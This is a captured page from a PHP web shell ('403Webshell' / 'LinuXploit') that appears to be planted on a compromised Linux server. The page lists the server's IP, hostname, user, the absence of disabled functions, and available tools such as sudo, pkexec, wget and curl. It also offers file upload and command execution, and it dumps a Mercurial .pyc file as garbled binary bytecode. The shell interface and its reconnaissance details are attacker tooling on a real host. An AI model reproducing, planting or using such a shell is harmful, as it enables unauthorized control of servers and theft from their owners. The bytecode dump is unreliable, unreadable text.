403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/hgext/infinitepush/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/hgext/infinitepush/__pycache__/bundleparts.cpython-39.pyc
a

�+�b��@s�ddlmZddlmZddlmZddlmZmZm	Z	m
Z
mZmZm
Z
ddlmZejZdZdd	�Zd
d�Zdd
�ZGdd�de�ZdS)�)�absolute_import)�_)�hex)�bundle2�changegroup�error�
extensions�pycompat�
revsetlang�util�)�commonsb2x:infinitepushcCs�|jst�td���tt�|�vr4t�td�t��t|t�	d|j�|�t
�|�}|�d�t
|�}t||j�t
�|||d�}i}||d<|r�||d<d|d	<|j}	||	vr�t|	|�|d	<t|�s�d
|d<g}
|
�tjt��t�|�|d��|
S)
Nsno commits to pushsno server support for %rs%lns01spushs	cgversionsbookmark�sbookprevnode�1spushbackbookmarks)�advisoryparams�data)�missingr�Abortr�scratchbranchparttyperZbundle2caps�_validaterevsetr
Z
formatspecrZsupportedoutgoingversions�discard�min�
_handlelfsZ
makestreamZ
_bookmarksr�isremotebooksenabled�appendZ
bundlepart�upperr	Z	iteritems)�repoZpeerZoutgoingZui�bookmarkZsupportedversionsZ	cgversionZcg�paramsZ	bookmarks�parts�r �D/usr/lib64/python3.9/site-packages/hgext/infinitepush/bundleparts.py�getscratchbranchpartssB
��

��r"cCsF|�|�st�td���|rB|�d|�}t|�dkrBt�td���dS)zAAbort if the revs to be pushed aren't valid for a scratch branch.snothing to pushs	heads(%r)rs2cannot push more than one head to a scratch branchN)Zrevsrrr�len)rZrevsetrZheadsr r r!rOs
�rcCs6zt�d�}|j�||�Wnty0YdS0dS)z�Special case if lfs is enabled

    If lfs is enabled then we need to call prepush hook
    to make sure large files are uploaded to lfs
    slfsN)r�find�wrapperZuploadblobsfromrevs�KeyError)rrZlfsmodr r r!r\s

rc@s*eZdZdZdd�Zdd�Zd	dd�ZdS)
�
copiedpartz9a copy of unbundlepart content that can be consumed latercCsL|j|_|j|_|j|_|j|_|j|_|j|_|j|_t�|�	��|_
dS�N)�type�idZ	mandatoryZmandatoryparamsrrZ
mandatorykeysrZstringio�read�_io)�self�partr r r!�__init__mszcopiedpart.__init__cCsdSr(r )r-r r r!�consumeyszcopiedpart.consumeNcCs"|dur|j��S|j�|�SdSr()r,r+)r-�sizer r r!r+|s
zcopiedpart.read)N)�__name__�
__module__�__qualname__�__doc__r/r0r+r r r r!r'jsr'N)Z
__future__rZmercurial.i18nrZmercurial.noderZ	mercurialrrrrr	r
r�r
rrr"rr�objectr'r r r r!�<module>s$
3


Youez - 2016 - github.com/yon3zu
LinuXploit